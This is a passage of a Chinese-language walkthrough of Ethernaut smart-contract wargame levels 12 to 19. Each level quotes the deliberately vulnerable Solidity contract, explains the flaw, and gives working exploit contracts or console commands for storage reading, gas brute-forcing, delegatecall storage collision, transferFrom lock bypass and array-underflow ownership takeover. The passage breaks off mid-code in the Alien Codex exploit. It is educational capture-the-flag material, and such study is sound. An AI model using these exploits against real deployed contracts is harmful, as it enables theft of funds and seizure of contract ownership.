    • uint8 private flattening (1 字节) -> 放入 Slot 2。
    • uint8 private denomination (1 字节) -> Slot 2 还有空间,紧接着放入。
    • uint16 private awkwardness (2 字节) -> Slot 2 还有空间,紧接着放入。
    • 状态:Slot 2 共使用了 1+1+2 = 4 字节,还剩 28 字节。
  4. Slot 3, 4, 5: bytes32[3] private data
    • 这是一个固定大小的数组,元素类型是 bytes32
    • bytes32 需要完整的 32 字节,无法塞进 Slot 2 剩余的 28 字节中,所以开启新槽位。
    • data[0] -> Slot 3 (你之前读取的是这个)
    • data[1] -> Slot 4
    • data[2] -> Slot 5 (解锁需要这个!)

控制台输出如下:

1
2
3
4
5
6
>>await contract.locked()
true
>>await web3.eth.getStorageAt(contract.address, 5)
'0x446f4eccc0708635ea642632e4cb8d4e17f45745f3dfc3c744b745ada45b6741'
>>await contract.locked()
false

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPrivacy {
// 修正:接口函数必须是 external
function unlock(bytes16 _key) external;
}

contract PrivacyAttack {
IPrivacy public victimContract;

constructor(address _victimAddress) {
victimContract = IPrivacy(_victimAddress);
}

// 攻击函数
function attack() public {
// 注意:这里的 password 必须是你自己实例中读取到的 data[2] (Slot 5) 的值
// 请确保替换为你用 web3.eth.getStorageAt 查到的值
bytes32 password = 0x446f4eccc0708635ea642632e4cb8d4e17f45745f3dfc3c744b745ada45b6741;

// 转换取前16字节
bytes16 password16 = bytes16(password);

victimContract.unlock(password16);
}
}

13. Gatekeeper One

逻辑判断

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
1
2
3
4
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
  1. function enter(bytes8 _gateKey):
    • 这是标准的函数声明,函数名为 enter,接收一个 bytes8 类型的参数 _gateKey
  2. public:
    • 这是函数的可见性修饰符。表示任何人(外部账户或其他合约)都可以调用这个函数。
  3. gateOne:
    • 这是一个**自定义修饰符 (Modifier)**。
    • 在执行 enter 函数的主体代码之前,会先执行 gateOne 修饰符里的代码。
    • 如果 gateOne 里的 require 失败,整个交易回滚,enter 函数体根本不会执行。
  4. gateTwo:
    • 这是第二个自定义修饰符。
    • 执行顺序是:先 gateOne -> 再 gateTwo -> 最后 enter 函数体。
  5. gateThree(_gateKey):
    • 这是第三个自定义修饰符,并且它接收参数
    • 这里将 enter 函数接收到的 _gateKey 参数,透传给了 gateThree 修饰符。
    • 修饰符可以像函数一样接收参数来执行逻辑检查。
  6. returns (bool):
    • 表示函数执行成功后会返回一个布尔值。

执行流程 (The Flow)

当有人调用 enter(key) 时,实际的执行顺序如下:

  1. 进入 gateOne:
    • 检查 msg.sender != tx.origin
    • 遇到 _; (占位符),代码跳出 gateOne,继续往下走。
  2. 进入 gateTwo:
    • 检查 gasleft() % 8191 == 0
    • 遇到 _;,代码跳出 gateTwo,继续往下走。
  3. 进入 gateThree(key):
    • 检查那三个复杂的 Key 转换条件。
    • 遇到 _;,代码跳出 gateThree,继续往下走。
  4. 最后执行 enter 函数体:
    • entrant = tx.origin;
    • return true;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
IGatekeeperOne public target;

constructor(address _target) {
target = IGatekeeperOne(_target);
}

function attack() external {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

for (uint256 i = 0; i < 8191; i++) {
// We use call{gas: ...} to prevent the whole transaction from reverting if one attempt fails.
// 8191 * 3 is a base amount to ensure we have enough gas for execution.
// i is the offset we are searching for.
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(
abi.encodeWithSignature("enter(bytes8)", key)
);

if (success) {
break;
}
}
}
}

最终如下:

nipaste_2025-12-18_00-14-3

14. Gatekeeper Two

逻辑判断

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:
  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper .
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet ). The Coin Flip level is also a good place to start when approaching this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
  1. 第一关 (msg.sender != tx.origin):
    • 这一关要求调用者 (msg.sender) 不能是交易的发起者 (tx.origin)。这意味着调用必须来自一个智能合约,而不是直接来自您的钱包账户 (EOA)。
    • 解决方案: 我们创建了一个名为 GatekeeperTwoAttack 的中间合约来发起调用。
  2. 第二关 (extcodesize(caller()) == 0):
    • 这一关检查调用者地址的代码大小是否为 0。
    • 通常智能合约是有代码的,大小不为 0。但是,在合约的 constructor (构造函数) 执行期间,合约的代码尚未完全存储在区块链上,因此 extcodesize 会返回 0。
    • 解决方案: 我们将所有的攻击逻辑都放在攻击合约的 constructor 中执行。
  3. 第三关 (异或运算 XOR):
    • 条件是:A ^ Key == 全1 (type(uint64).max)
    • 利用异或运算的可逆性质(如果 A ^ B = C,那么 A ^ C = B),我们可以反推 Key:Key = A ^ 全1
    • 这里的 Auint64(bytes8(keccak256(abi.encodePacked(msg.sender))))。因为我们是从攻击合约调用的,所以 msg.sender 就是攻击合约的地址 address(this)
    • 解决方案: 我们在构造函数中动态计算出这个 Key 并传入。

GatekeeperTwoAttack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {
constructor(address _target) {
GatekeeperTwo target = GatekeeperTwo(_target);

// Gate One: msg.sender != tx.origin
// This is satisfied because we are calling from a contract.

// Gate Two: extcodesize(caller()) == 0
// This is satisfied because we are calling from the constructor.
// During construction, the code size of the contract is 0.

// Gate Three:
// uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max
// A ^ B = C => A ^ C = B
// msg.sender here is address(this)

uint64 val = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 key64 = val ^ type(uint64).max;
bytes8 key = bytes8(key64);

target.enter(key);
}
}

最后截图:

nipaste_2025-12-18_10-22-1

15. Naught Coin

transferFrom & ERC20

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Things that might help:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

ERC20 标准中有两种转移代币的方法:

  1. transfer(to, amount): 我直接转账给你。(这个被锁了
  2. transferFrom(from, to, amount): 我授权给第三方(或者我自己),由第三方把我的钱转给你。(这个没有被重写,也没有被锁!

由于 NaughtCoin 合约继承自 OpenZeppelin 的 ERC20,它自动拥有了父类的 transferFrom 函数。因为开发者忘记重写 transferFrom 并加上 lockTokens 修饰符,所以这个“后门”是敞开的。

通关步骤

你需要利用 approvetransferFrom 机制把钱转走。

步骤一:授权 (Approve)
首先,你需要允许你自己(或者另一个地址)支配你的代币。

  • 调用 approve(spender, amount)
  • spender: 填你自己的钱包地址(是的,你可以授权给你自己)。
  • amount: 填你的全部余额(1000000000000000000000000,即 100万 * 10^18)。

步骤二:通过 transferFrom 转账
授权完成后,调用 transferFrom 把钱转出去。

  • 调用 transferFrom(from, to, amount)
  • from: 你的钱包地址。
  • to: 任意其他地址(比如关卡实例地址,或者你的另一个小号)。
  • amount: 全部余额。

因为 transferFrom 没有 lockTokens 限制,交易会直接成功,你的余额归零,关卡通过。

控制台 console:实际操作

第一步:授权 (Approve)

允许你自己支配你自己的代币。

1
2
3
4
5
// 1. 获取你的全部余额
const balance = await contract.balanceOf(player);

// 2. 授权给你自己 (spender = player)
await contract.approve(player, balance);

(等待这笔交易确认成功…)

第二步:转账 (TransferFrom)

利用 transferFrom 绕过锁定的 transfer 函数。

1
2
3
// 3. 等待授权交易确认后,调用 transferFrom 把钱转给任意地址 (例如转给合约本身)
// 参数: from (你), to (合约地址), amount (余额)
await contract.transferFrom(player, contract.address, balance);

第三步:验证

检查余额是否归零。

1
2
// 4. 检查余额是否归零
(await contract.balanceOf(player)).toString()

16. Preservation

delegatecall (委托调用)

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

漏洞分析

  1. 存储布局不匹配 (Storage Layout Mismatch):
    • Preservation 合约:
      • Slot 0: timeZone1Library (地址类型)
      • Slot 1: timeZone2Library (地址类型)
      • Slot 2: owner (地址类型)
      • Slot 3: storedTime (uint256类型)
    • LibraryContract 库合约:
      • Slot 0: storedTime (uint256类型)
  2. 利用原理:
    • Preservation 调用 timeZone1Library.delegatecall(...) 时,库合约的代码会在 Preservation 的存储上下文中执行。
    • 库合约的 setTime 函数会写入 Slot 0 (storedTime = _time)。
    • Preservation 中,Slot 0 对应的是 timeZone1Library 变量。
    • 这意味着调用 setFirstTime 实际上允许你修改 timeZone1Library 的地址。

攻击计划

  1. 第一步:调用 setFirstTime,参数填入我们恶意攻击合约的地址。这会将 Preservation 合约中的 timeZone1Library (Slot 0) 覆盖为我们的攻击合约地址。
  2. 第二步:再次调用 setFirstTime。这一次,Preservation 会对我们的攻击合约发起 delegatecall
  3. 第三步:我们的攻击合约中会有一个同名的 setTime(uint256) 函数,该函数会修改 Slot 2(即 Preservation 中的 owner 变量),将其改为你的地址。

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 定义接口,不需要 import 整个 OpenZeppelin 库
interface IPreservation {
function setFirstTime(uint256 _timeStamp) external;
function setSecondTime(uint256 _timeStamp) external;
}

contract PreservationAttack {
// 模仿 Preservation 的存储布局
address public timeZone1Library; // Slot 0
address public timeZone2Library; // Slot 1
address public owner; // Slot 2
uint256 storedTime; // Slot 3

IPreservation public target;

constructor(address _target) {
target = IPreservation(_target);
}

function attack() public {
// 第一步:将 timeZone1Library 覆盖为当前攻击合约的地址
// LibraryContract 会写入 slot 0。
// 我们将地址转换为 uint256,因为 setFirstTime 接收 uint256 参数。
target.setFirstTime(uint256(uint160(address(this))));

// 第二步:再次调用 setFirstTime。
// 现在 timeZone1Library 已经是这个攻击合约了。
// 它会 delegatecall 到这个合约的 setTime 函数。
// 我们传入 msg.sender 并转换为 uint256,以便 setTime 将 owner 设置为 msg.sender。
target.setFirstTime(uint256(uint160(msg.sender)));

}

function setTime(uint256 _time) public {
_time;
owner = address(uint160(_time));
}
}

为什么要对地址有一个uint160的操作,以下是详细原因:

  1. 地址的本质是 160 位
    在以太坊中,一个地址(address)占用 20 个字节,也就是 20×8=16020×8=160 位。
  2. 禁止直接转换
    在较新的 Solidity 版本中,编译器不允许直接将 address 类型强制转换为 uint256。如果你尝试写 uint256(address(this)),编译器会报错,因为它认为这两种类型的大小不匹配,直接转换可能是不安全的。
  3. 正确的转换路径
    为了将地址变成 uint256,必须分两步走:
    • **第一步 (address -> uint160)**:先将地址转换为 uint160。这是允许的,因为它们在底层都是 160 位的数据,大小完全一致。
    • **第二步 (uint160 -> uint256)**:再将 uint160 转换为 uint256。这是允许的,因为这是从“小整数”转为“大整数”,只是在前面补零而已。

最终截图

nipaste_2025-12-18_20-22-1

17. Recovery

new RLP 地址确定

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

解决方案解释

这个关卡的目标是找回发送到一个“丢失”合约地址的 0.001 ether。这个丢失的合约是由 Recovery 合约创建的第一个 SimpleToken 合约。

  1. 确定性地址计算:
    在以太坊中,使用 new 关键字(CREATE 操作码)创建的合约地址是确定性的。它是根据发送者地址(这里是 Recovery 合约的地址)和发送者的 nonce 计算出来的。
    公式为:Address = keccak256(rlp.encode([sender, nonce]))
  2. Nonce 的确定:
    题目中提到这是创建者部署的第一个代币合约。对于合约账户,nonce 从 1 开始计数。因此,创建该代币合约时,Recovery 合约的 nonce 为 1
  3. RLP 编码细节:
    为了在 Solidity 中手动计算这个地址,我们需要模拟 RLP 编码过程:
    • 列表头 (List Header): 0xd6。这是 0xc0 (列表标识) 加上列表总长度 22 字节 (20字节地址 + 1字节地址头 + 1字节nonce)。
    • 地址头 (Address Header): 0x94。这是 0x80 (字符串标识) 加上地址长度 20 字节。
    • 发送者地址: 即题目给出的 Recovery 实例地址。
    • Nonce: 0x01
  4. 找回资金:
    一旦计算出丢失的合约地址,我们就可以调用该合约上的 destroy(address payable _to) 函数。这个函数执行 selfdestruct(_to),会强制将合约内的所有余额发送给指定的地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 定义 SimpleToken 的接口,只需要 destroy 函数
interface ISimpleToken {
function destroy(address payable _to) external;
}

contract RecoverySolution {
function recover(address _recoveryInstance) public {
// 计算丢失的合约地址
// 这里的 RLP 编码是针对 nonce = 1 的情况硬编码的
address lostToken = address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xd6), // 列表头: 0xc0 + 22 bytes
bytes1(0x94), // 字符串头: 0x80 + 20 bytes
_recoveryInstance, // Recovery 合约地址
bytes1(0x01) // Nonce: 1
)))));

// 调用接口的 destroy 函数,将资金转回给调用者 (msg.sender)
ISimpleToken(lostToken).destroy(payable(msg.sender));
}
}

最后截图:

nipaste_2025-12-18_21-02-5

18. MagicNumber

EVM 字节码

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right 32 byte number.

Easy right? Well… there’s a catch.

The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 bytes at most.

Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.

Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {
address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

这个关卡的目标是创建一个“Solver”合约,它必须满足两个条件:

  1. 当被询问 whatIsTheMeaningOfLife() 时,返回数字 42
  2. 合约的大小必须非常非常小,最多 10 个字节

解决方案解释

普通的 Solidity 合约编译出来通常都很大,因为包含了初始化代码、函数选择器(Function Selector)和其他开销,根本无法满足 10 字节的限制。因此,我们需要直接编写 **EVM 字节码 (Bytecode)**。

我们需要两部分字节码:

  1. **运行时字节码 (Runtime Bytecode)**:这是合约部署后实际存储在区块链上的代码,也就是我们要执行的逻辑。
  2. **初始化字节码 (Initialization Bytecode)**:这是用来部署运行时字节码的代码。

1. 运行时字节码 (Runtime Bytecode) - 逻辑部分

我们需要合约返回 42 (十六进制 0x2a)。由于 EVM 的返回值通常是 32 字节(256位),我们需要将 42 写入内存,然后返回这 32 字节。

  • 60 2a (PUSH1 0x2a): 将 42 推入堆栈。
  • 60 00 (PUSH1 0x00): 将内存偏移量 0 推入堆栈。
  • 52 (MSTORE): 将 42 存储到内存偏移量 0 处。现在内存里是 0x00...002a
  • 60 20 (PUSH1 0x20): 将长度 32 (字节) 推入堆栈。
  • 60 00 (PUSH1 0x00): 将内存偏移量 0 推入堆栈。
  • f3 (RETURN): 从内存偏移量 0 开始返回 32 个字节。

结果602a60005260206000f3 (正好 10 个字节)。

2. 初始化字节码 (Initialization Bytecode) - 部署部分

这段代码的作用是把上面的运行时字节码复制到内存中,然后告诉 EVM:“把这段内存里的数据作为新合约的代码存起来”。

  • 60 0a (PUSH1 0x0a): 运行时代码长度是 10 字节。
  • 60 0c (PUSH1 0x0c): 运行时代码在整个字节流中的偏移量。因为初始化代码本身是 12 字节,所以运行时代码紧跟在第 12 字节之后。
  • 60 00 (PUSH1 0x00): 目标内存偏移量。
  • 39 (CODECOPY): 将代码复制到内存。
  • 60 0a (PUSH1 0x0a): 要返回的代码长度 (10 字节)。
  • 60 00 (PUSH1 0x00): 代码在内存中的偏移量。
  • f3 (RETURN): 返回这段代码给 EVM 进行存储。

结果600a600c600039600a6000f3 (12 字节)。

3. 组合字节码

将两部分拼起来就是我们要发送的交易数据:
600a600c600039600a6000f3 (初始化) + 602a60005260206000f3 (运行时)

代码实现

使用 assemblycreate 指令来部署这段裸字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IMagicNum {
function setSolver(address _solver) external;
}

contract MagicNumSolution {
function solve(address _target) public {
// Runtime Bytecode (10 bytes):
// 60 2a PUSH1 0x2a (42)
// 60 00 PUSH1 0x00 (Memory Offset)
// 52 MSTORE (Store 42 at memory 0x00)
// 60 20 PUSH1 0x20 (Length: 32 bytes)
// 60 00 PUSH1 0x00 (Offset: 0x00)
// f3 RETURN (Return 32 bytes from memory 0x00)
// Hex: 602a60005260206000f3

// Initialization Bytecode (12 bytes):
// 60 0a PUSH1 0x0a (Runtime code length: 10 bytes)
// 60 0c PUSH1 0x0c (Runtime code offset: 12 bytes, right after init code)
// 60 00 PUSH1 0x00 (Memory destination offset)
// 39 CODECOPY (Copy code to memory)
// 60 0a PUSH1 0x0a (Runtime code length)
// 60 00 PUSH1 0x00 (Memory offset)
// f3 RETURN (Return the runtime code from memory)
// Hex: 600a600c600039600a6000f3

// Full Bytecode: Init + Runtime
bytes memory bytecode = hex"600a600c600039600a6000f3602a60005260206000f3";

address solver;
assembly {
// create(value, offset, length)
solver := create(0, add(bytecode, 0x20), mload(bytecode))
}

require(solver != address(0), "Deployment failed");

IMagicNum(_target).setSolver(solver);
}
}

下面就来详细解释这段代码:

1
2
3
assembly {
solver := create(0, add(bytecode, 0x20), mload(bytecode))
}

1. create(v, p, n) 指令

这是 EVM 的操作码,用于创建一个新合约。它接受三个参数:

  • v (value): 发送给新合约的以太币数量(单位是 wei)。
  • p (position): 内存中包含合约初始化代码的起始位置(偏移量)。
  • n (length): 内存中初始化代码的长度(字节数)。

返回值是新部署合约的地址。如果部署失败(例如 revert 或 gas 不足),返回 0。

2. 参数详解

参数 1: 0

  • 这是发送给新合约的金额。我们不需要发送任何 ETH,所以是 0。

参数 2: add(bytecode, 0x20)

这是计算字节码在内存中的实际起始位置

  • bytecode 变量: 在 Solidity 中,bytes memory 类型的变量(如这里的 bytecode)在汇编中实际上是一个指向内存地址的指针。
  • Solidity 内存布局:
    • 这个指针指向的第一个 32 字节(0x20)存储的是数组的长度
    • 实际的数据内容是从第二个 32 字节开始的。
  • add(bytecode, 0x20):
    • bytecode 是内存地址(比如 0x80)。
    • 0x80 处存的是长度(22)。
    • 0x80 + 0x20 = 0xa0
    • 所以我们需要跳过前 32 个字节的长度前缀,直接指向代码内容的开始处。

参数 3: mload(bytecode)

这是获取字节码的长度

  • mload(p): 从内存地址 p 读取 32 个字节的数据。
  • bytecode: 正如上面所说,它指向内存中存储该字节数组的地方。
  • Solidity 约定: 动态数组(如 bytes)的第一个 32 字节存储的就是它的长度。
  • 所以 mload(bytecode) 直接读取了存储在 bytecode 指针位置的数值,也就是这个字节数组的长度(在这里是 22 字节)。

整句话的意思是:

“EVM,请创建一个新合约。不要给它转钱 (0)。合约的代码在内存中,起始位置是 bytecode 指针往后挪 32 字节的地方 (add(bytecode, 0x20)),代码的长度就是 bytecode 变量里存的那个长度值 (mload(bytecode))。”

这里有一个疑问:0x20 字节具体在合约里面指的是什么,bytecode 指针具体是位于那个位置,是加上0x20后的位置,还是什么?

这里用最直观的内存地图来看。

假设在 Solidity 里你写了这一行代码:

当这行代码运行时,内存里会发生什么?

1. bytecode 只是一个路牌(指针)

在汇编(Assembly)层面,变量 bytecode 的值只是一个内存地址。通常情况下,这个地址是 0x80

所以,当你提到 bytecode 时,你实际上是在说数字 0x80

2. 内存地图 (Memory Map)

让我们看看从地址 0x80 开始,内存里到底存了什么:

内存地址 (Address) 存储的内容 (Value) 含义 (Meaning)
0x80 (bytecode 指向这里) 0x0000...0016 长度前缀 (32字节)。这里存的是数字 22 (十六进制 0x16),告诉程序这个数组有多长。
0xA0 (0x80 + 0x20) 0x600a... 实际代码。这里才是你写的 hex"600a..." 真正开始的地方。

3. 你的疑问解答

问:前32字节具体在合约里面指的是什么?

答: 指的是上表中地址 0x800x9F 之间的那段空间。这段空间里存的不是代码,而是长度(数字 22)。

问:bytecode具体是位于那个位置?

答:

  • 变量 bytecode 的值0x80。它指向整个对象的开头(也就是长度前缀的开头)。
  • 实际的机器码 (Payload) 位于 0xA0

问:是加上0x20后的位置,还是什么?

答:

  • 如果你想要读取长度,你就用 bytecode (即 0x80)。
  • 如果你想要读取代码内容,你必须用 add(bytecode, 0x20) (即 0x80 + 0x20 = 0xA0)。

4. 为什么要加 0x20?

create 指令就像一个只懂机器码的工人。

  • 如果你给它 0x80,它从 0x80 开始读,读到的是 0x00...(长度数据)。它会困惑:“这是啥指令?全是0?”
  • 如果你给它 0xA0(即 add(bytecode, 0x20)),它从 0xA0 开始读,读到的是 0x60...(PUSH指令)。它会说:“懂了,开始干活!”

一句话总结:

指向信封(包含长度信息),add(bytecode, 0x20) 指向信纸(实际内容)。我们要把信纸交给 EVM 去执行,而不是把信封交给它。

19. Alien Codex

integer overflow & 动态数组存储

You’ve uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

  • Understanding how array storage works
  • Understanding ABI specifications
  • Using a very underhanded approach
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}

这个关卡的目标是夺取 AlienCodex 合约的所有权。该合约存在一个数组下溢 (Array Underflow) 漏洞,允许我们修改合约的任意存储位置。

漏洞分析

  1. 数组下溢 (Array Underflow):
    • 合约使用的是 Solidity ^0.5.0。在 0.6.0 版本之前,如果对一个长度为 0 的动态数组执行 length--,会导致下溢,长度变为 −1。
    • 这使得数组 codex 的长度变得极其巨大,覆盖了整个合约的存储空间。
  2. 存储布局 (Storage Layout):
    • Slot 0: 包含 _owner (20 字节) 和 contact (1 字节)。它们被打包在一起。
    • Slot 1: 存储 codex.length
    • 数组数据: codex 数组的元素从 keccak256(1) 开始存储。
  3. 任意存储写入:
    • 由于数组现在覆盖了整个存储空间,我们可以通过计算特定的索引 i,使得 codex[i] 对应到 Slot 0
    • 公式:keccak256(1) + i = 0 (在模 下)。
    • 所以我们需要计算的索引是:i = 0−keccak256(1)

攻击步骤

  1. 调用 makeContact():通过 contacted 修饰符的检查。
  2. 调用 retract():触发数组下溢,将 codex.length 变为最大值。
  3. 计算索引 i:指向 Slot 0 的数组索引。
  4. 调用 revise(i, new_owner):将 Slot 0 的内容(即 owner)修改为你的地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
function makeContact() external;
function retract() external;
function revise(uint256 i, bytes32 _content) external;
function owner() external view returns (address);
}

contract AlienCodexSolution {
function attack(address _target) public {
IAlienCodex target = IAlienCodex(_target);

// 第一步:建立联系,通过 'contacted' 修饰符检查
target.makeContact();

// 第二步:触发数组下溢
// 初始长度为 0,调用 retract() 后长度变为 2^256 - 1。
// 这使得数组覆盖了整个存储空间。
target.retract();

// 第三步:计算对应 Slot 0 的数组索引 'i'。
// 数组数据起始位置是 keccak256(slot_of_length)。
